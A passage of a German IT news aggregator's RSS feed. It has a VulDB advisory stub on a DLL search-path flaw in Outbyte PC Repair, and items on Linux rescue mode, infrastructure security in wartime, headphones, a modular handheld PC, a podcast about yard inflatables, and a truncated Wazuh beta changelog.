<content:encoded><![CDATA[A vulnerability identified as <a href="https://vuldb.com/kb/risk">critical</a> has been detected in <a href="https://vuldb.com/product/outbyte:pc_repair_installation_file">Outbyte PC Repair Installation File 1.7.112.7856</a>. The affected element is an unknown function in the library <em>iertutil.dll</em>. The manipulation leads to uncontrolled search path.

This vulnerability is traded as <a href="https://vuldb.com/cve/CVE-2022-36271">CVE-2022-36271</a>. It is possible to initiate the attack remotely. There is no exploit available.]]></content:encoded>
</item>
<item>
<title><![CDATA[Linux Rescue Mode: How to Recover a Broken System]]></title>
<description><![CDATA[Every Linux user breaks their system eventually. This guide covers rescue mode, filesystem repair, GRUB recovery, root password resets, and chroot workflows across Ubuntu, Fedora, and Arch Linux.]]></description>
<link>https://tsecurity.de/de/3646290/linux-tipps/linux-rescue-mode-how-to-recover-a-broken-system/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3646290/linux-tipps/linux-rescue-mode-how-to-recover-a-broken-system/</guid>
<pubDate>Sun, 05 Jul 2026 08:09:30 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Every Linux user breaks their system eventually. This guide covers rescue mode, filesystem repair, GRUB recovery, root password resets, and chroot workflows across Ubuntu, Fedora, and Arch Linux.]]></content:encoded>
</item>
<item>
<title><![CDATA[Are Wars Blurring Lines Between Corporate and National Security?]]></title>
<description><![CDATA[Subsea cables. Ukrainian power stations. Russian oil refineries. Even airports, water-desalination plants and Amazon data centers. 

They've all become targets in wartime, notes the Wall Street Journal, and around the world now arguments "are already brewing between companies and governments over...]]></description>
<link>https://tsecurity.de/de/3646083/it-security-nachrichten/are-wars-blurring-lines-between-corporate-and-national-security/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3646083/it-security-nachrichten/are-wars-blurring-lines-between-corporate-and-national-security/</guid>
<pubDate>Sun, 05 Jul 2026 04:07:46 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Subsea cables. Ukrainian power stations. Russian oil refineries. Even airports, water-desalination plants and Amazon data centers. 

They've all become targets in wartime, notes the Wall Street Journal, and around the world now arguments "are already brewing between companies and governments over new regulations and potential costs."

In Germany, powerful associations representing private companies and municipal utilities have pushed back against new standards for physical protection, warning they could spell financial ruin. New Zealand's government has faced resistance from industry groups over a proposal to fine critical-infrastructure companies and their directors for cybersecurity breaches... A sign of how lines are blurring: The North Atlantic Treaty Organization's 32 countries last year agreed that as part of a pact to spend 5% of economic output on defense and security, 1.5% would go to military-adjacent needs including protecting critical infrastructure and networks. Spending targets range from cybersecurity and industrial capacity to railroads, bridges and ports needed for military logistics... "We need a wide concept of defense — defense is no longer just military," said Italian Adm. Giuseppe Cavo Dragone, NATO's top military adviser. 

Adding to the complexity, companies now need to protect the data networks that serve as gateways to critical infrastructure. Hackers increasingly target not just computer files to steal information but also systems managing vital functions like building access and factory control, remotely causing physical damage or enabling espionage. U.S. authorities in April warned that Iranian hackers were trying to disrupt American drinking-water systems by targeting computer equipment that connects hardware with software. A year earlier, suspected Russian hackers remotely manipulated valves on a Norwegian hydroelectric dam... 

Another challenge will be parsing jurisdictions and liability for assets that cross international waters or are damaged in combat — such as subsea data cables or energy pipelines. Turf battles between law enforcement and militaries are already complicating efforts... "The private owner can invest in redundancy, monitoring, and repair capacity, but only governments and militaries can really deter, patrol, attribute, or respond to hostile state activity," said Marc Glasser, who worked on cybersecurity and infrastructure security for three decades at the U.S. Department of Transportation and the Department of Homeland Security.... Companies say they need greater clarity from governments on what protections they will provide and subsidies to help them defend privately owned assets that provide a public good. Most governments don't provide incentives for companies to invest more than the minimum legal resilience requirements. 

The article notes that in May the chief executive of California's Port of Long Beach "launched a cyber-defense operations center to thwart tens of thousands of cyberattacks daily, which jeopardize computer systems and all equipment connected to them." 

The article also points out that the EU adopted new regulations requiring countries to reduce vulnerabilities, and new laws proposed in the U.K. now "seek to increase penalties for subsea sabotage, updating codes that date to when telegraph cables were first laid in the 19th century."<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Are+Wars+Blurring+Lines+Between+Corporate+and+National+Security%3F%3A+https%3A%2F%2Fyro.slashdot.org%2Fstory%2F26%2F07%2F04%2F1945242%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fyro.slashdot.org%2Fstory%2F26%2F07%2F04%2F1945242%2Fare-wars-blurring-lines-between-corporate-and-national-security%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://yro.slashdot.org/story/26/07/04/1945242/are-wars-blurring-lines-between-corporate-and-national-security?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Best Bone Conduction Headphones (2026): Shokz, Suunto, Mojawa]]></title>
<description><![CDATA[Everyone needs a safe way to listen to music on outdoor runs. We’ve found the bone conduction headphones to grab on your way out the door.]]></description>
<link>https://tsecurity.de/de/3643434/it-nachrichten/best-bone-conduction-headphones-2026-shokz-suunto-mojawa/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3643434/it-nachrichten/best-bone-conduction-headphones-2026-shokz-suunto-mojawa/</guid>
<pubDate>Fri, 03 Jul 2026 13:48:06 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Everyone needs a safe way to listen to music on outdoor runs. We’ve found the bone conduction headphones to grab on your way out the door.]]></content:encoded>
</item>
<item>
<title><![CDATA[CG Deck Official Announcement Trailer Video | The modular x86 handheld PC running Linux]]></title>
<description><![CDATA[I have been working on building, developing, and prototyping my own modular handheld x86 PC called the CG Deck. Over the past 7 and a half months I have gone from initial concept to functional engineering prototype, and I am finally able to officially present the soon coming release of the CG Dec...]]></description>
<link>https://tsecurity.de/de/3642584/linux-tipps/cg-deck-official-announcement-trailer-video-the-modular-x86-handheld-pc-running-linux/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3642584/linux-tipps/cg-deck-official-announcement-trailer-video-the-modular-x86-handheld-pc-running-linux/</guid>
<pubDate>Fri, 03 Jul 2026 04:08:11 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>I have been working on building, developing, and prototyping my own modular handheld x86 PC called the CG Deck. Over the past 7 and a half months I have gone from initial concept to functional engineering prototype, and I am finally able to officially present the soon coming release of the CG Deck! We will be launching the CG Deck on Kickstarter very soon and you will be able to get your hands on either a DIY assembly kit, or pre-built &amp; ready to use CG Deck! I will also be ramping up and posting more videos of the CG Deck in use, and other related content over the coming days. I appreciate all of your support so incredibly much, and thank you to everyone that has been following along so far! It really means the world to me!</p> <p>For those who have not seen this project before, the CG Deck is an x86 based modular handheld PC which has the capability of running dual boot operating systems like Windows &amp; Linux. Designed and built to be a device that you actually own down the the firmware. Quick swap out control modules to mix and match control schemes for your specific task. Design and make your own modules, design your own backplates, upgrade or mod the internals, and even make repairs or fixes when or if you need. The CG Deck is more attuned to a platform rather than a traditional device, giving you full capability to repair, upgrade, mod, personalize, etc.</p> <p>I wanted to create my dream device, something that evolved with me as time passes. Whether I am playing Steam games, or doing retro emulation, doing CAD work in Blender or other 3D software, coding, art &amp; design work, listening to music, home media console use, video editing, hardware tinkering or whatever it is, I wanted to be able to simply be able to do it on a single portable handheld.</p> <p>Also as a little bit of an update, I am still working on the behind the scenes documentary going over the entire process from the original idea and conceptual drawing, through design iterations, CAD, creating the bill of materials, material sourcing, navigating partnerships with brands and manufacturers, prototyping, assembly, DFM rework, testing &amp; certifications, planning mass production, figuring out the logistics of warehousing and fulfillment, and every step in between all the way though officially releasing and launching the CG Deck and bringing it to market! Because there is so much that has gone into everything (and I am still in the middle of the process doing it all :) ), I will probably post the videos as an episodic series with smaller pieces of content going up between. I will have more information about those videos over the coming weeks, and it will be posted on my personal channel.</p> <p>We are officially gearing up for an official launch on Kickstarter to help support a full production run of the CG Deck and various modules to bring it to market! The CG Deck will be available both as a DIY Assembly Kit and a Pre-Built ready to use devices! I will be sending out more information to everyone on our waitlist over the next couple of days with some new updates &amp; announcements including early bird backer pricing, package/pledge options, and more!</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/ZCTMO"> /u/ZCTMO </a> <br> <span><a href="https://youtu.be/8THKr-71_m8?si=ZF22IfTp8Jv2F891">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1ulvmnm/cg_deck_official_announcement_trailer_video_the/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[HPR4675: Yard Inflatables]]></title>
<description><![CDATA[This show has been flagged as Clean by the host.


SUMMARY


Presenter discusses modular inflatable systems and challenges with lawn ornaments.


IDEAS




 Modular inflatable systems for improved durability.


 Use of zip ties and 3D-printed parts for connectivity.


 Challenges with air f...]]></description>
<link>https://tsecurity.de/de/3642478/podcasts/hpr4675-yard-inflatables/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3642478/podcasts/hpr4675-yard-inflatables/</guid>
<pubDate>Fri, 03 Jul 2026 02:03:17 +0200</pubDate>
<category>🎥 Podcasts</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This show has been flagged as Clean by the host.</p>

<h1>
SUMMARY</h1>

<p>
Presenter discusses modular inflatable systems and challenges with lawn ornaments.</p>

<h1>
IDEAS</h1>

<ol>

<li>
 Modular inflatable systems for improved durability.</li>

<li>
 Use of zip ties and 3D-printed parts for connectivity.</li>

<li>
 Challenges with air flow and electrical connections.</li>

<li>
 Need for modular lighting systems.</li>

<li>
 Repair techniques for inflatable seams.</li>

<li>
 Importance of quality materials for longevity.</li>

<li>
 Combining air and electrical systems in one tube.</li>

<li>
 DIY solutions for extending inflatable life.</li>

<li>
 Issues with cheap lawn ornaments and their components.</li>

<li>
 Industrial blow fans for large inflatables.</li>

<li>
 Protecting wires from weather damage.</li>

<li>
 Replacing faulty motors in inflatables.</li>

<li>
 Balancing air pressure to prevent leaks.</li>

<li>
 Modular design for easy maintenance.</li>

<li>
 Cost-effective solutions for outdoor decorations.</li>

<li>
 Challenges with outdoor charging boxes.</li>

<li>
 Enhancing durability through adhesive treatments.</li>

<li>
 Need for seamless integration of components.</li>

<li>
 Longevity of inflatables under continuous use.</li>

<li>
 Practical approaches to inflatable system design.</li>

</ol>

<h1>
RECOMMENDATIONS</h1>

<ol>

<li>
 Use modular designs for easier repairs.</li>

<li>
 Incorporate 3D-printed connectors for durability.</li>

<li>
 Protect electrical components from moisture.</li>

<li>
 Opt for industrial-grade fans for large inflatables.</li>

<li>
 Combine air and electrical systems in one tube.</li>

<li>
 Apply adhesive treatments to prevent seam splitting.</li>

<li>
 Replace faulty motors with compatible alternatives.</li>

<li>
 Balance air pressure to avoid overfilling.</li>

<li>
 Use high-quality materials for longer lifespan.</li>

<li>
 Implement DIY repair solutions for cost-effectiveness.</li>

<li>
 Design seamless connections for improved functionality.</li>

<li>
 Prioritize weather-resistant components.</li>

<li>
 Create modular lighting systems for flexibility.</li>

<li>
 Test inflatables under continuous use conditions.</li>

<li>
 Use spray adhesives to extend inflatable life.</li>

<li>
 Simplify assembly for user-friendly installation.</li>

<li>
 Explore cost-effective materials without compromising quality.</li>

<li>
 Address common failure points in inflatable systems.</li>

<li>
 Develop standardized repair techniques.</li>

<li>
 Focus on integrated design for longevity.</li>

</ol>

<p>

</p>


<p><a href="https://hackerpublicradio.org/eps/hpr4675/index.html#comments">Provide <strong>feedback</strong> on this episode</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Wazuh v5.0.0 Beta 3]]></title>
<description><![CDATA[What's Changed

Improve cluster file synchronization error handling by @TomasTurina in #36129
Update trojan signatures to avoid false positives on modern distros by @Miguevrgo in #35927
Improve cluster merged file parameter validation by @vikman90 in #36204
Create a backup of local_rules.xml duri...]]></description>
<link>https://tsecurity.de/de/3641637/it-security-tools/wazuh-v500-beta-3/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3641637/it-security-tools/wazuh-v500-beta-3/</guid>
<pubDate>Thu, 02 Jul 2026 17:49:41 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's Changed</h2>
<ul>
<li>Improve cluster file synchronization error handling by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TomasTurina/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TomasTurina">@TomasTurina</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4454599181" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36129" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36129/hovercard" href="https://github.com/wazuh/wazuh/pull/36129">#36129</a></li>
<li>Update trojan signatures to avoid false positives on modern distros by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Miguevrgo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Miguevrgo">@Miguevrgo</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4390541461" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35927" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35927/hovercard" href="https://github.com/wazuh/wazuh/pull/35927">#35927</a></li>
<li>Improve cluster merged file parameter validation by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vikman90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vikman90">@vikman90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4476621950" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36204" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36204/hovercard" href="https://github.com/wazuh/wazuh/pull/36204">#36204</a></li>
<li>Create a backup of local_rules.xml during execution of IT analysisd tier 0 1 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Antoniogm03/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Antoniogm03">@Antoniogm03</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4475277385" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36201" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36201/hovercard" href="https://github.com/wazuh/wazuh/pull/36201">#36201</a></li>
<li>Improve tmp_file path validation in cluster DAPI by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vikman90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vikman90">@vikman90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4486930454" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36246" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36246/hovercard" href="https://github.com/wazuh/wazuh/pull/36246">#36246</a></li>
<li>Revert bump main branch by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wazuhci/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wazuhci">@wazuhci</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4495350373" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36303" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36303/hovercard" href="https://github.com/wazuh/wazuh/pull/36303">#36303</a></li>
<li>Bump 4.14.7 branch by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wazuhci/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wazuhci">@wazuhci</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4496470145" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36312" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36312/hovercard" href="https://github.com/wazuh/wazuh/pull/36312">#36312</a></li>
<li>Serialize procps access to prevent modulesd crash by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cborla/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cborla">@cborla</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4489581046" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36261" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36261/hovercard" href="https://github.com/wazuh/wazuh/pull/36261">#36261</a></li>
<li>Remove obsolete configuration blocks from API upload_configuration setting by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TomasTurina/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TomasTurina">@TomasTurina</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4487498848" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36252" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36252/hovercard" href="https://github.com/wazuh/wazuh/pull/36252">#36252</a></li>
<li>Restore working vulnerability scanner database workflow by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4502088595" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36332" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36332/hovercard" href="https://github.com/wazuh/wazuh/pull/36332">#36332</a></li>
<li>Propagate agent merged_sum after hot reload in cluster by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4468736412" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36164" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36164/hovercard" href="https://github.com/wazuh/wazuh/pull/36164">#36164</a></li>
<li>Merge 4.14.7 into main by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4501542567" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36331" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36331/hovercard" href="https://github.com/wazuh/wazuh/pull/36331">#36331</a></li>
<li>Authd tier 0-1 flaky tests fix by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4504446587" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36342" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36342/hovercard" href="https://github.com/wazuh/wazuh/pull/36342">#36342</a></li>
<li>Review agent info logs by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Antoniogm03/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Antoniogm03">@Antoniogm03</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4485038079" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36234" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36234/hovercard" href="https://github.com/wazuh/wazuh/pull/36234">#36234</a></li>
<li>Fix the wazuh-manager-modules crash that occurs while downloading the feed by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Antoniogm03/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Antoniogm03">@Antoniogm03</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4503648565" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36337" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36337/hovercard" href="https://github.com/wazuh/wazuh/pull/36337">#36337</a></li>
<li>Migrate FIM DB path queries to parameterized statements by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Darioortegaleyva/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Darioortegaleyva">@Darioortegaleyva</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4517817292" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36399" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36399/hovercard" href="https://github.com/wazuh/wazuh/pull/36399">#36399</a></li>
<li>Fix AlmaLinux 9/10 bootloader permissions SCA check regex and optional file handling by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vikman90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vikman90">@vikman90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4515333133" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36396" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36396/hovercard" href="https://github.com/wazuh/wazuh/pull/36396">#36396</a></li>
<li>Cluster file processing parameter validation by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vikman90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vikman90">@vikman90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4494129534" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36296" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36296/hovercard" href="https://github.com/wazuh/wazuh/pull/36296">#36296</a></li>
<li>Add missing 4.10.2-4.10.5 and 4.8.2 entries to changelogs by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4523024537" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36407" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36407/hovercard" href="https://github.com/wazuh/wazuh/pull/36407">#36407</a></li>
<li>Treat the absence of the hash document as expected, not an error by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/juliancnn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/juliancnn">@juliancnn</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4505113598" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36355" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36355/hovercard" href="https://github.com/wazuh/wazuh/pull/36355">#36355</a></li>
<li>geo_point validation support all compatible formats by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LucioDonda/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LucioDonda">@LucioDonda</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4423592068" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36034" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36034/hovercard" href="https://github.com/wazuh/wazuh/pull/36034">#36034</a></li>
<li>Prevent Syscollector and SCA use-after-free on modulesd shutdown by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nbertoldo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nbertoldo">@nbertoldo</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4505494861" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36359" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36359/hovercard" href="https://github.com/wazuh/wazuh/pull/36359">#36359</a></li>
<li>Add cluster security model and configuration documentation by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vikman90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vikman90">@vikman90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4522930141" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36405" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36405/hovercard" href="https://github.com/wazuh/wazuh/pull/36405">#36405</a></li>
<li>Bump CB_SCAN_STARTED timeout and trigger ITs on wm_syscollector.c by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jr0me/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jr0me">@jr0me</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4527847069" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36446" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36446/hovercard" href="https://github.com/wazuh/wazuh/pull/36446">#36446</a></li>
<li>Fixed an issue in eBPF with LSM hooks and improved the health check by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MarcelKemp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MarcelKemp">@MarcelKemp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4359560869" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35838" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35838/hovercard" href="https://github.com/wazuh/wazuh/pull/35838">#35838</a></li>
<li>Validate cluster node name format by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vikman90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vikman90">@vikman90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4531591190" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36460" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36460/hovercard" href="https://github.com/wazuh/wazuh/pull/36460">#36460</a></li>
<li>eBPF libraries updated by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MarcelKemp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MarcelKemp">@MarcelKemp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4533955405" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36467" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36467/hovercard" href="https://github.com/wazuh/wazuh/pull/36467">#36467</a></li>
<li>Bump 4.14.6 branch by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wazuhci/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wazuhci">@wazuhci</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4539082172" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36517" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36517/hovercard" href="https://github.com/wazuh/wazuh/pull/36517">#36517</a></li>
<li>Revert "Bump 4.14.6 branch" by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MARCOSD4/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MARCOSD4">@MARCOSD4</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4539151411" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36518" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36518/hovercard" href="https://github.com/wazuh/wazuh/pull/36518">#36518</a></li>
<li>Bump 4.14.6 branch by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wazuhci/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wazuhci">@wazuhci</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4539251322" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36519" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36519/hovercard" href="https://github.com/wazuh/wazuh/pull/36519">#36519</a></li>
